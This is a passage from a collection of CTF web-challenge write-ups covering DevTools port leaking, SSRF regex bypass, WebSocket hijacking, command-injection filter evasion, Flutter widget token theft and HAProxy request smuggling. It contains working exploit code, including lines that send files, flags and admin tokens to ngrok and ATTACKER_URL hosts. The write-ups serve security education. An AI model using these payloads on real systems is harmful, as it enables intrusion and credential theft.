                    `--remote-debugging-port=${getRandomPort()}`
                ]
            });
        } catch (err) {
            browser = null;
            log(err);
        }
    }
    
    ...
```

A remote debugging port is exposed. This normally allows us to send commands to the browser through the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/). In this case, however, we can see that the debugging port is randomised.

```javascript
export default function () {
    let port = 9000 + Math.floor(Math.random() * 2000);
    return port;
}
```

### Leaking the Debugging Port

We had a range of 2000 possible ports to scan, but the browser will only live for 30 seconds before it was closed.

```javascript
setTimeout(async () => {
    try {
        await browser.close();
    } catch (err) {
        log('browser.close() failed:', err.message);
    }
}, seconds * 1000);
```

If we could leak the debugging port, then we could communicate with the Chromium instance to open a new page with the `file:///tmp/flag` URL, and read its contents.&#x20;

There are many ways to do this, but my first reaction was to do it through a common XS-Leaks technique. The idea is that if the port is closed, trying to load it as a resource would yield a Connection Refused error, triggering the `onerror` event handler. Otherwise, the `onload` event handler would be fired instead on successful loading.

```markup
<html>
    <body>
        <script>
            (async () => {
                const leak = async (url) => {
                    return new Promise((r) => {
                        let s = document.createElement('script')
                        s.src = url
                        s.onload = (e) => {
                            e.target.remove()
                            return r(0)
                        }
                        s.onerror = (e) => {
                            e.target.remove()
                            return r(1)
                        }
                        document.head.appendChild(s)
                    })
                }
                
                for (let i = 0; i < 2000; i++) {
                    let port = 9000 + i;
                    let res = await leak(`http://localhost:${port}/`)
                    
                    if (res == 0) {
                        console.log(`Port ${port} is open`)
                        try {
                            fetch(`http://986d-42-60-68-174.ngrok.io/leak?port=${port}`)
                        }
                        catch {}
                        break
                    }
                }
            })();
        </script>
    </body>
</html>
```

This was sufficient to leak the debugging port within 5-10 seconds. Once we get the port number, we need to modify our second-stage payload with the updated port number, so I wrote the port number to a `port.txt` file to be read by another script later on.

```python
from flask import Flask, request, send_file

app = Flask(__name__)


@app.route('/<path:path>')
def send(path):
    return send_file(path)


@app.route('/exfil', methods=['POST'])
def receive():
    print(request.data)
    return request.data


@app.route('/leak')
def leak():
    port = request.args.get('port')
    open("port.txt", "w").write(port)
    return "OK"


if __name__ == '__main__':
    app.run('0.0.0.0', 5000)
```

### Reading the Response

Now that we know the port, we could fetch `http://127.0.0.1:<PORT>/json/new?file:///tmp/flag.txt` to tell the browser to open a new page with the `file:///tmp/flag.txt` URL.

The response would then contain a `webSocketDebuggerUrl` that allows us to send commands to the browser through a WebSocket connection.

Unfortunately, due to the same-origin policy, we can't directly read the response through the Fetch API. But by loading an `iframe`, the response is shown in the screenshotter service as an image. We can add the following to our script above, to load the `iframe` and open a second-stage exploit after 10 seconds to communicate with the WebSocket URL.

```javascript
...

let ifr = document.createElement('iframe')
ifr.src = `http://localhost:${port}/json/new?file:///tmp/flag.txt`

ifr.height = 1000
ifr.width = 1000
document.body.appendChild(ifr)

setTimeout(() => {
    window.open("http://986d-42-60-68-174.ngrok.io/exploit.html")
}, 10000)

...
```

The result of the screenshotter service would look something like this. We need to interpret the result and modify our second-stage exploit before the 10 seconds is up and the browser opens it.

![](/files/5PD4tBsLZK0E2Q0mA01M)

I used [PyTesseract](https://pypi.org/project/pytesseract/) to perform OCR on the result and extract the WebSocket URL. Due to the quality of the image, this was only fully accurate about 1 in 5 times. The script will also update our second-stage payload with the correct port and WebSocket URL.

```python
import requests
import pytesseract
from PIL import Image
from io import BytesIO
import re
import time
import os

while True:

    r = requests.get("https://wild-devtools.ctf.bsidestlv.com/screenshot")

    puzzle = r.headers['X-Puzzle']

    print(f"Puzzle: {puzzle}")

    # get pow by running pow.go
    pow = os.popen("go run pow/pow.go {}".format(puzzle)).read().strip()
    print(f"POW: {pow}")

    r = requests.get(
        "http://wild-devtools.ctf.bsidestlv.com/screenshot?url=http://986d-42-60-68-174.ngrok.io/leak.html",
        headers={
            'X-Puzzle': puzzle,
            'X-Proof-of-Work': pow
        }
    )
    img = r.content

    # OCR
    with open("screenshot.png", "wb") as f:
        f.write(img)
        
    text = pytesseract.image_to_string(Image.open(BytesIO(img)))
    print(text.splitlines()[5])

    wsUrl = re.search(r"/devtools/page/(.*)\"", text.splitlines()[5]).group(1).replace(" ", "").replace("S", "5").replace("O", "0").replace("I", "1").replace("L", "1").replace("T", "7")
    print(wsUrl)

    expl = open("exploit.tpl", "r").read().replace("PORTHERE", open("port.txt", "r").read()).replace("URLHERE", wsUrl)
    with open("exploit.html", "w") as f:
        f.write(expl)
```

### Getting the Flag

After we have done all that, the second-stage payload is opened. The `Runtime.evaluate` method is used to execute JavaScript on the `file:///tmp/flag.txt` page, and exfiltrate its contents.

```markup
<body>
    <script>
        window.ws = new WebSocket('ws://127.0.0.1:PORTHERE/devtools/page/URLHERE')
        ws.onerror = (e => { console.log(e) })
        ws.onmessage = (e => {
            console.log(e.data);
        })

        ws.onopen = () => {
            ws.send(JSON.stringify({
                id: 1,
                method: "Runtime.evaluate",
                params: {
                    expression: "fetch('http://986d-42-60-68-174.ngrok.io/exfil', {method:'POST', body:document.body.innerHTML})"
                }
            }))

        }
    </script>
</body>
```


# Tropical API

JavaScript Regex Shenanigans

## Challenge

{% hint style="info" %}
Web, 23 Solves
{% endhint %}

> This internal API was accidentally exposed to the public. Fortunately, the developer left a backup of the backend source code for us.
>
> User input appears to be properly validated. Can you find a way to get the flag?

```javascript
import express from 'express';
import fetch from 'node-fetch';

if (!process.env.FLAG) {
    throw new Error('FLAG must be set');
}

const server = express();

server.use(express.static('public'));

server.post("/ping", express.json(), async function (req, res) {
    const errors = [];
    const noneHexRegex = /[^0-9a-f]/g;
    const fqdns = Array.isArray(req.body.fqdn) ? req.body.fqdn : [req.body.fqdn];

    if (fqdns.length >= 5) {
        return res.status(400).json({ error: 'Too many FQDNs' });
    }

    for (let fqdn of fqdns) {
        if (typeof fqdn !== "string") {
            errors.push(`${fqdn} must be a string`);
            continue;
        }

        if (noneHexRegex.test(fqdn)) {
            errors.push(`${fqdn} should only contain hexadecimal characters`);
            continue;
        }

        let buf = Buffer.from(fqdn, "hex");

        if (buf.length !== 16) {
            errors.push(`${fqdn} must be 16 bytes long`);
            continue;
        }

        const url = `http://${fqdn}.ping-proxy/ping`;

        try {
            await fetch(url, {
                headers: {
                    'X-FLAG': process.env.FLAG
                }
            });
        } catch (err) {
            errors.push(err.message);
        }
    }

    if (errors.length > 0) {
        res.status(500);
    }

    res.json({ errors });
});

server.listen(1337, function (err) {
    if (err) {
        throw err;
    }
    console.log('Server is up and running on http://localhost:1337');
});

```

## Solution

The premise of this challenge was simple - we had "SSRF-as-a-service", and the flag is in one of the request headers. We need to control `fqdn` to make a request to an arbitrary URL, where we are listening for a request.

The problem is that there is a very restrictive regex check that only allows us to use hexadecimal characters in the `fqdn`.

```javascript
const noneHexRegex = /[^0-9a-f]/g;

...

if (noneHexRegex.test(fqdn)) {
    errors.push(`${fqdn} should only contain hexadecimal characters`);
    continue;
}
```

If we look at the [documantation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test) for `RegExp.prototype.test()`, however, we would notice a very interesting behaviour when `test()` is used with a regex containing the [global flag](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#advanced_searching_with_flags_2).

![](/files/bvwkOLfjdyr7uOYn8KIq)

This means that if the regex is being tested *multiple* times for bad characters, each time the string is only searched from the previously-found index onwards.

This, combined with the fact that we are allowed to provide multiple `fqdn`s, means that we can bypass the restrictions by simply submitting the same payload multiple times. For instance, if we use the following:

```json
{
    "fqdn":[
        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaax",
        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaax"
    ]
}
```

The first time the regex is tested, `lastIndex` is set to 32 since the disallowed character, `x`, was found at the end of the string. The second time the regex is tested, no match would be found and `test()` would return `false`.

Great! We can bypass the regex restriction. The next problem is that when converted into a `Buffer` from hex, the length of the `Buffer` must be 16. This means we need a minimum of 32 characters in our `fqdn`.

```javascript
let buf = Buffer.from(fqdn, "hex");

if (buf.length !== 16) {
    errors.push(`${fqdn} must be 16 bytes long`);
    continue;
}
```

Luckily, the `Buffer` stops when the first non-hexadecimal character is encountered, so it's fine to have non-hexadecimal characters after the first 32 bytes.

But how do we provide a URL that starts with 32 bytes of hexadecimal characters? My teammate Enyei found this very helpful [article](https://www.hacksparrow.com/networking/many-faces-of-ip-address.html) that describes the various ways that IP addresses can be represented.

In this case, the octal notation proved very helpful. We could lead with as many `0`s as we want, which is a hexadecimal character. Then, we can use any [octal IP address converter](https://www.browserling.com/tools/ip-to-oct) to convert our public IP address to octal form. For example:

```json
{
    "fqdn":[
        "000000000000000000000002730000424#",
        "000000000000000000000002730000424#"
    ]
}
```

The ending `#` will turn the trailing `.ping-proxy/ping` into a URL fragment, making the final URL simply that of our public IP address.

This allows us to receive the request and get our flag.

```http
GET / HTTP/1.1
accept: */*
accept-encoding: gzip, deflate, br
connection: close
user-agent: node-fetch
x-flag: BSidesTLV2022{JavAsCriPtMaStEr}
Host: REDACTED
```


# Grey Cat The Flag 2022

Organized by NUS Greyhats in collaboration with National Cybersecurity R\&D Labs from Singapore.

## Qualifiers

I played the qualifiers while on holiday, so I was only able to join in for 1-2 hours every night. Nonetheless, my team did pretty well, finishing 3rd among Singapore teams and 4th overall.

![](/files/K4T2CbzPPCMgSvEqR68S)

Here are the challenges I solved.

| Challenge         | Category | Value |
| ----------------- | -------- | ----- |
| Data Degeneration | Misc     | 394   |
| Logical Computers | Misc     | 467   |
| [Quotes](#quotes) | Web      | 485   |
| SelNode           | Web      | 467   |
| Grapache          | Web      | 493   |
| [Shero](#shero)   | Web      | 495   |

## Quotes

> Feeling lost? Why don't you come and get quotes from the wise?
>
> MD5 (quotes.tar.gz) = 3ba36e72cb0ee2186745673475de8cf7
>
> * 复读机

This was a simple client-side web exploitation challenge. From the `/share` endpoint we can submit a URL for the admin bot to visit.

```python
@app.route('/share', methods=['GET','POST'])
def share():
    if request.method == "GET":
        return render_template("share.html")
    else:
        if not request.form.get('url'):
            return "yes?"
        else:
            thread_a = Bot(request.form.get('url'))
            thread_a.start()
            return "nice quote, thanks for sharing!"

```

Let's take a look at the actual functionality of the web app! The flag can be found in the `/quote` WebSockets endpoint - as long as we satisfy the following conditions:

* The WebSocket client's origin must start with `http://localhost`
* The client must have the correct `auth` cookie

```python
@sockets.route('/quote')
def echo_socket(ws):
    print('/quote', flush=True)
    while not ws.closed:
        try:
            try:
                cookie = dict(i.split('=') for i in ws.handler.headers.get('Cookie').split('; '))
            except:
                cookie = {}

            # only admin from localhost can get the GreyCat's quote
            if ws.origin.startswith("http://localhost") and cookie.get('auth') == auth_token:
                ws.send(f"{os.environ['flag']}")
            else:
                ws.send(f"{quotes[random.randint(0,len(quotes))]}")
            ws.close()
        except Exception as e:
            print('error:',e, flush=True)
```

### Setting the Auth Cookie

The correct `auth` cookie is set at the `/auth` endpoint when the request is made locally by the admin bot.

```python
# authenticate localhost only
@app.route('/auth')
def auth():
    if request.remote_addr == "127.0.0.1":
        resp = make_response("authenticated")
        # I heard httponly defend against XSS(what is that?)
        resp.set_cookie("auth", auth_token, httponly=True)
    else:
        resp = make_response("unauthenticated")
    return resp

```

It is trivial to perform a GET-based CSRF through a top-level navigation to set the authentication cookie for the victim. We subsequently "sleep" for 1 second before continuing with the rest of the exploit to ensure that the nagivation was completed and the cookie was set.

```javascript
const sleep = async (ms) => {
    return new Promise(resolve => setTimeout(resolve, ms));
}

window.open("http://localhost:7070/auth");

await sleep(1000);
```

### Bypassing the Origin Check

Although the WebSockets library used ([flask\_sockets](https://github.com/heroku-python/flask-sockets)) is pretty old, there is no vulnerability in the `ws.origin` provided - afterall, `gevent` is the one providing the necessary information in the WSGI environment.

The `ws.origin` value corresponds to that of the `Origin` request header, which is one of the [forbidden header names ](https://developer.mozilla.org/en-US/docs/Glossary/Forbidden_header_name)that cannot be modified progammatically by JavaScript. This is a special request header that comprises of only the following three parts of the *current* webpage URL:

```
<scheme>://<hostname>:<port>
```

Unless we find a browser zero-day that allows a malicious webpage to spoof `Origin` headers (this would be quite interesting), there is no way around our exploit page's origin needing to start with `http://localhost`.

But is that sufficient validation to ensure the WebSocket connection came from a page hosted on the localhost? Nope! We could simply use a domain *starting with* `localhost`, e.g. `localhost.zeyu2001.com`.

### Final Payload

Because there is no CSRF token being checked and because WebSockets are not restricted by the [Same-Origin Policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy), we could use "cross-site WebSocket hijacking" to obtain and exfiltrate the flag.

The following page needs to be hosted on a domain starting with `localhost` and submitted to `/share`.

```markup
<html>
    <body>
        <script>
            (async () => {

                const sleep = async (ms) => {
                    return new Promise(resolve => setTimeout(resolve, ms));
                }

                window.open("http://localhost:7070/auth");

                await sleep(1000);

                const ws = new WebSocket('ws://localhost:7070/quote');

                ws.onopen = function open() {
                    ws.send('getquote');
                };

                ws.onmessage = function incoming(data) {
                    fetch("http://ATTACKER_URL/?quote=" + data.data)
                };
            })();
        </script>
    </body>
</html>
```

## Shero

> We like cat, so don't abuse it please =(
>
> * 复读机

The premise of this challenge was quite simple. We are given the following source code, with the goal of finding the flag somewhere on the server.

```php
<?php
    $file = $_GET['f'];
    if (!$file) highlight_file(__FILE__);

    if (preg_match('#[^.cat!? /\|\-\[\]\(\)\$]#', $file)) {
        die("cat only");
    }

    if (isset($file)) {
        system("cat " . $file);
    }
?>
```

By supplying a `?f=` GET request parameter, we can run commands on the server. One problem though - the regex filter is more than a little restrictive.

![](/files/vCkWRE3CMAs6zfBSnWOF)

This is the part where the challenge turns from a web challenge to a command injection filter bypass challenge :sob:

The list of allowed characters are as follows:

* `.`
* `c`
* `a`
* `t`
* `!`
* `?`
* &#x20;
* `/`
* `|`
* `-`
* `[`
* `]`
* `(`
* `)`
* `$`

### Reading Arbitrary Files

One trick to bypass the character filter and run commands other than `cat` is to use [wildcards](https://tldp.org/LDP/GNU-Linux-Tools-Summary/html/x11655.htm). In particular, the `?` wildcard character is used to match any single character.

For example, using `cat /?tc/???t?`, we could read the `/etc/hosts` file.

![](/files/2JkUDTAVNjKSvSWzzl6C)

Using `cat /????????` yielded this very interesting-looking binary. At first glance, it contained the string `readflag.c`, so we could guess that this binary is probably called `readflag` and it runs with elevated permissions to read a flag file somewhere (so that we need RCE instead of simple file reading)

![](/files/iLeLxtJYClyc8bQiAMEM)

If we download the binary and open it up in a decompiler, we would see that we need to pass the string `sRPd45w_0` as an argument (`argv[1]`) in order to read the flag. This was the result of rearranging the letters in the string `P4s5_w0Rd`.

![](/files/cmc7oVxDzJtg3afVRfdU)

### Running Arbitrary Commands

Since the `|` character is allowed, we are able to use piping to terminate the `cat` command and start a new command. For example, using `?f=| /??a???a?` will translate to `cat | /??a???a?`, which runs the `/readflag` binary.

![](/files/d9UTri9YlPSugjKpN8xn)

### Passing the Argument

Now comes the torturous part. How do we get arbitrary characters to use as the password?

One thing that might help is that `$()` is allowed, so we could use [command substitution](https://www.gnu.org/software/bash/manual/html_node/Command-Substitution.html) to get the strings we need.

When reading the binary previously, we could see that the string `P4s5_w0Rd` is in the binary. If we could run `strings` on the binary, somehow extract only the password string, and rearrange the letters, we could use command substitution to pass the correct password as an argument.

We could run `/usr/bin/strings /readflag` using `/???/???/?t????? /??a???a?`&#x20;

![](/files/1DQY7sil7eypPXgHiyUG)

Now we need some way of filtering out the rest of the strings and only keeping the relevant `P4s5_w0Rd` string. I came across [this writeup](https://github.com/InfoSecIITR/write-ups/tree/master/2016/33c3-ctf-2016/misc/hohoho) of a similar command injection challenge where the author used `/etc/alternatives/nawk` to filter output using regex, so I decided to try something similar.

Luckily enough, many useful regex characters are allowed - in particular, `.`, `[` and `]` are very useful. This allowed me to construct a regex that leaves only the password string.

![](/files/eqvRTGicJ8GQNN1XLHyl)

Using `/???/???/?t????? /???????? | /???/a?t???a?????/?a?? /[.-t][.-a][.-t][.-a][!-a].[.-a][.-t][c-t]/`, we can get the `P4s5_w0Rd` string!

![](/files/VbaCurcb7GJTPIC4CHei)

At this point, we could try passing in the string as an argument to `/readflag` using `$()`, but this will yield "Wrong Password!".

![](/files/wvJePhrLknzCCpepol1q)

### Rearranging the Letters

We needed a way to rearrange `P4s5_w0Rd` into `sRPd45w_0`. It would be great if we could get characters of the string at specified indices - it sure is nice that a [`cut` command](https://man7.org/linux/man-pages/man1/cut.1.html) exists for this very purpose!

By using `/???/???/c?t -cX`, we will get the character of the string at index X.

But how do we get numbers? It turns out that `$?` is one of the [special parameters](https://gnu.org/software/bash/manual/html_node/Special-Parameters.html) in bash, containing the exit status code of the previous command. If the exit code is non-zero, then `$? / $?` will yield `1`, `$? / $? -- $? / $?` will yield `2`, and so on. If the exit code is zero, this method will lead to a division by zero error.

But how do we make the exit code non-zero? We just need to place an extra bogus command in front of it: `(a || /???/???/c?t -c$(($? / $?)))`.

Here's the script to generate the payload required to reconstruct the password string.

```python
original = "P4s5_w0Rd"
target = "sRPd45w_0"

final = ''
for char in target:
    idx = original.index(char)

    num = "$? / $?"

    for i in range(idx):
        num += "-- $? / $?"

    final += f"$(/???/???/?t????? /???????? | /???/a?t???a?????/?a?? /[.-t][.-a][.-t][.-a][!-a].[.-a][.-t][c-t]/ | (a || /???/???/c?t -c$(({num}))))"

print(final)
```

And here's the payload...

![](/files/IbLugoBEzraiIx7LMoTz)

### Putting It All Together

All we need to do now is to use the output from the previous script and put it behind `/readflag`.

![](/files/j9XF3Z5DrdgYyoHt6eZP)

and we get the flag: `grey{r35p3c7_70_b45h_m4573r_0dd14e9bc3172d16}`.

### References

* <https://github.com/InfoSecIITR/write-ups/tree/master/2016/33c3-ctf-2016/misc/hohoho>&#x20;


# DEF CON CTF 2022 Qualifiers

I played this CTF with [Tea MSG](https://ctftime.org/team/154535), and we got 26th place - not too shabby!

![](/files/eFjKUjNPnhVPtU4Gvi4G)

I attempted and contributed to solving [Discoteq](#discoteq-100) and [Router-ni](#router-ni-81).

## Discoteq \[100]

### Credits

Thanks to Ocean, quanyang, kokrui and waituck for the great teamwork here!:thumbsup:

### TL;DR

This was a Flutter-based chat application where we could send the admin any message that he would read. By manipulating Websocket requests, we could make the client load a malicious [remote Flutter widget](https://github.com/flutter/packages/tree/main/packages/rfw) that would steal the admin's token and send it back to us.

### Initial Observations

I was new to Flutter, so some time was spent analysing the `main.dart.js`, which is the Flutter app compiled by `dart2js`.

Although we can't view it from our end, we could see that there is an `AdminPage`, and a `/api/flag` endpoint that is fetched using `postRequestWithCookies`.

![](/files/JCzWWFWKETnpq70aBHhX)

It might help to find some other sensitive endpoints. In `LoginPage`, we could see that there is a `/api/token` endpoint. This endpoint returns our current authentication token.

![](/files/9bquwbnb56Tsxp17Lebu)

Now, let's take a look at the application itself! The goal was to send an exploit to the `admin#13371337` user. There were two main features - sending a normal message and sending a poll.&#x20;

When sending a poll, I noticed that there were some very suspicious parameters in the WebSocket message. By modifying the `apiGet` and `apiVote` paths, we get a callback on our server!

```json
{
    "type":"widget",
    "widget":"/widget/poll",
    "author":{
        "user":"test#9b808596",
        "platform":"web"
    },
    "recipients":["admin#13371337"],
    "data":{
        "title":"test",
        "apiGet":"@ATTACKER_URL",
        "apiVote":"@ATTACKER_URL"
    }
}
```

The `widget`, `apiGet`, and `apiVote` paths are appended to the base URL without sanitization - so using `@ATTACKER_URL` causes the following URL to be constructed:

`http://BASE_URL@ATTACKER_URL`

I tried some XSS payloads, hoping that the poll wasn't sanitized. Alas, a Flutter web app is entirely rendered on a `<canvas>`, so rendering unescaped HTML was hopeless.

I then tried to manipulate the `widget` parameter instead.

```json
{
    "type":"widget",
    "widget":"@ATTACKER_URL/test",
    "author":{
        "user":"abcd#c7e80dd5",
        "platform":"web"
    },
    "recipients":["admin#13371337"],
    "data":{
        "message":"test"
    }
}
```

Aha! This causes a traceback!

![](/files/hI8mxHa0YefsEzvYqWWe)

Note: to avoid CORS issues, use the `Access-Control-Allow-Origin: *` header. For example, in Flask:

```python
@app.after_request
def after_request(response):
  response.headers['Access-Control-Allow-Methods']='*'
  response.headers['Access-Control-Allow-Origin']='*'
  response.headers['Vary']='Origin'
  return response
```

### What Even Is a Remote Flutter Widget?!

Ok so umm... I couldn't find this file signature anywhere, so the first step is to figure out what file format the file is expected to be in. We could download the original `/widget/chatmessage` widget and take a look:

![](/files/EDvQa5hyB9J0Sw15WhCL)

This definitely contains styling and content information, but it isn't in an easily editable format.

&#x20;At this point my teammate kokrui found that this file was compiled with a package called [Remote Flutter Widgets](https://pub.dev/packages/rfw), which allows the loading of widgets hosted on external servers.

![](/files/SUan18JHcWSMZBh7GBtE)

By following the examples [on GitHub](https://github.com/flutter/packages/tree/main/packages/rfw), we could decode the `chatmessage` widget.&#x20;

```dart
import 'dart:convert';
import 'dart:io';
import 'dart:typed_data';

import 'package:rfw/formats.dart';

void main() {
  final Uint8List test = File('chatmessage.rfw').readAsBytesSync();
  var out = decodeLibraryBlob(test);
  print(out);
}
```

Ocean also found the `pollmessage` and `imagemessage` widgets.

![](/files/6uegFkJxh67uoXKWkega)

There is rather limited documentation and examples of the RFW syntax, so I followed the [`parseLibraryFile` documentation](https://pub.dev/documentation/rfw/latest/formats/parseLibraryFile.html), which seems to provide the most examples.

We tried various things, including this futile attempt to call the `Clipboard_getData` function we found in `main.dart.js`.

```dart
import core.widgets;
import local;

widget root = Container(
  color: 0xFFF,
  child: Center(
    child: Text(text: [
      "Hello, ", 
      data.author.user, 
      Clipboard_getData(format: "text/plain"), 
      " this is working!!"
    ], textDirection: "ltr"),
  ),
);
```

### onLoaded: Flag Please

Taking a closer look at `poll.dart` gave us some ideas.

```dart
// poll widget
import core.widgets;
import core.material;
import local;

widget root = Container({
  child: Column({
    children: [
      
      ...
      
      switch state.loaded {
        true: Column({
          children: [...for loop in data.poll_options:
            Row({
              children: [
                Padding({
                  child: ElevatedButton({
                    child: Text({
                      text: loop0.text
                    }),
                    onPressed: event api_post {
                      path: data.data.apiVote,
                      body: {selection: loop0.text}
                    }
                  }),
                  padding: [0.0, 5.0, 10.0, 0.0]
                }),
                Text({
                  text: loop0.count
                })
              ]}),
            
            ...
            
          ]
        }),
      null: ApiMapper({
        url: data.data.apiGet,
        jsonKey: options,
        dataKey: poll_options,
        onLoaded: set state.loaded = true
      })
    }]
  })
```

Notice that `ApiMapper` makes a GET request to the specified `apiGet` URL. The response data is then saved in `data.<dataKey>`, as we can see from the loop accessing `data.poll_options`.

Further, the `onPressed` event handler, `api_post`, seemingly provides a mechanism for us to exfiltrate our data.

For example, the following will fetch the poll options and exfiltrate them to `example.com`.

```dart
import core.widgets;
import core.material;
import local;

widget root { loaded: false } = Container(
  color: 0xFFF,
  child:
      switch state.loaded {
        true: 
          TextButton(
            child: Text(
              text: "HI",
            ),
            onPressed: event "api_post" {
              path: "@example.com",
              body: {
                selection: data.apiData
              }
            }
          ),
        false:
          ApiMapper(
            url: "/api/poll/options?poll=4b06175d-7f78-44b1-a132-183d6707a33a",
            jsonKey: "options",
            dataKey: "apiData",
            onLoaded: set state.loaded = true
          )
      }
);
```

There were still a few problems with this, though. The `/api/flag` endpoint requires a POST request, and `ApiMapper` only does GET requests. Additionally, we needed to make this zero-click.

The first part was simple enough - we just needed to steal the admin's token to authenticate as the admin, so something like this works:

```dart
ApiMapper(
    url: '/api/token',
    jsonKey: 'new_token',
    dataKey: 'token',
    onLoaded: set state.loaded = true
)
```

Next, the `onLoaded` event handler could be used to trigger the `api_post` event for zero-click exfiltration. But this was a bit iffy and only worked in some scenarios, such as the following one.

```dart
import local;
import core.widgets;

widget root { loaded: false }= Container(
    child:
      switch state.loaded {
          true:
              Column(
                children: [
                  Row(children: 
                    Center(children:
                      [
                        Text(text: data.token, textDirection: "ltr"),
                      ]
                    )
                  ),
                  ApiMapper(
                    url: '/api/token',
                    jsonKey: 'new_token',
                    dataKey: 'token',
                    onLoaded: event 'api_post' {
                      path: '@ATTACKER_URL',
                      body: {selection: data.token}
                    }
                  )
                ]
              ),
          false:
              ApiMapper(
                  url: '/api/token',
                  jsonKey: 'new_token',
                  dataKey: 'token',
                  onLoaded: set state.loaded = true
              )
      }
    
);

```

For example, here's me getting my own token.

![](/files/eSvTXLsnkKlgeSA2Z31E)

After getting the admin's token, we just needed to get the flag from `/api/flag`.

## Router-ni \[81]

### Credits

Thanks to Lord\_Idiot, waituck, bbbb and Gladiator for working on this challenge! :tada:

### TL;DR

The webpage provides an interface to a router, which includes a ping functionality.

![](/files/PcrEJUYLMZVIhRGtBQEQ)

Using the `/ping?id=` endpoint, we get the base64-encoded result of each ping request. Using a sufficiently large `id`, we could get an out-of-bound memory read.

### Solution

By enumerating the `id`, we would find that the ID range that corresponds to the router's RAM is from `18446744073709551463` to `18446744073709551615`. We could dump out the entire RAM this way.

```python
import requests
import base64

URL = "http://router-mlb4ta7v3lwam.shellweplayaga.me:31337/ping?id="
cookies = {'password': 'admin', 'username': 'admin'}

id = 18446744073709551463
decoded = b""

for i in range(152):
    r = requests.get(f"{URL}{id+i}", cookies=cookies)
    data = r.json()
    res = data["result"]
    decoded += base64.b64decode(res)

with open("out.bin", "wb+") as f:
    f.write(decoded)
```

We would find the following string:

![](/files/S6LpHYGDpW7HmPXIPMxM)

and guess that the flag is

`FLAG{r0uter_p0rtals_are_ultimately_impenetrable_because_they_are_real_weird}`


# Securinets CTF Finals 2022

Organised by Securinets Club

We didn't manage to join everyone on-site but we had a great time with the Securinets CTF finals and came in 4th (retaining our position from the qualifiers)!

![](/files/ogT8kgHB8GFvvYGHeOjM)

| Challenge                                                | Category  | Points |
| -------------------------------------------------------- | --------- | ------ |
| [StrUggLe](/2022/securinets-ctf-finals-2022/struggle)    | Web       | 100    |
| [XwaSS ftw?](/2022/securinets-ctf-finals-2022/xwass-ftw) | Web       | 271    |
| [Strong](/2022/securinets-ctf-finals-2022/strong)        | Web       | 856    |
| [Artist](/2022/securinets-ctf-finals-2022/artist)        | Forensics | 559    |


# StrUggLe

HAProxy HTTP Request Smuggling

> Welcome to Web! I struggle everyday I face a new website, can you access /flag endpoint ?
>
> Link: <http://128.199.3.34:1235>
>
> **Author:** Kahla

### Unintended Solution

The HAProxy configuration to protect the `/flag` endpoint was case sensitive. Therefore, the following would be sufficient to bypass the validation.

```http
GET /FLAG HTTP/1.1
Host: 128.199.3.34:1235

```

```http
HTTP/1.1 200 OK
x-powered-by: Express
content-type: text/html; charset=utf-8
content-length: 43
etag: W/"2b-aWQ+/21qg4d1e3yOxiZcpTrSBxw"
date: Fri, 13 May 2022 09:34:06 GMT
x-server: HaProxy-2.4.0

Securinets{W3lC0me_T0_FinAlS_4nD_SmUUgLinG}
```

### Intended Solution

From the server response headers, we know that HAProxy version 2.4.0 is used in front of an Express application. This version is vulnerable to a [HTTP request smuggling vulnerability](https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/).

Basically, an integer overflow leads to `Content-Length0aaa...aaa:` being forwarded to the backend as `Content-Length: 0`, while a second duplicate `Content-Length` header is used by HAProxy to determine the length of the request body.

```http
POST /test HTTP/1.1
Host: 128.199.3.34:1235
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 26

GET /flag HTTP/1.1
DUMMY:GET / HTTP/1.1
Host: 128.199.3.34:1235

```

In the above example, HAProxy considers the following to be the first request:

```http
POST /test HTTP/1.1
Host: 128.199.3.34:1235
Content-Length: 26

GET /flag HTTP/1.1
DUMMY:
```

while the second request is the following:

```http
GET / HTTP/1.1
Host: 128.199.3.34:1235

```

However, when forwarded to the backend, this becomes:

```http
POST /test HTTP/1.1
Host: 128.199.3.34:1235
Content-Length: 0

GET /flag HTTP/1.1
DUMMY:GET / HTTP/1.1
Host: 128.199.3.34:1235

```

Therefore, the response for the second request will correspond to `/flag` instead of `/`.

Due to the way the pipelining works, we have to add some artificial delays when sending the consecutive requests.

```bash
$ (printf "POST / HTTP/1.1\r\n"\
"Host: 128.199.3.34:1235\r\n"\
"Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:\r\n"\
"Content-Length: 26\r\n\r\n"; sleep 1;
printf "GET /flag HTTP/1.1\r\n"\
"DUMMY:"; sleep 1; printf "GET /test HTTP/1.1\r\n"\
"Host: 128.199.3.34:1235\r\n\r\n") | nc 128.199.3.34 1235
```

```http
HTTP/1.1 404 Not Found
x-powered-by: Express
content-security-policy: default-src 'none'
x-content-type-options: nosniff
content-type: text/html; charset=utf-8
content-length: 140
date: Fri, 13 May 2022 09:41:24 GMT
x-server: HaProxy-2.4.0

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot POST /</pre>
</body>
</html>
HTTP/1.1 200 OK
x-powered-by: Express
content-type: text/html; charset=utf-8
content-length: 43
etag: W/"2b-aWQ+/21qg4d1e3yOxiZcpTrSBxw"
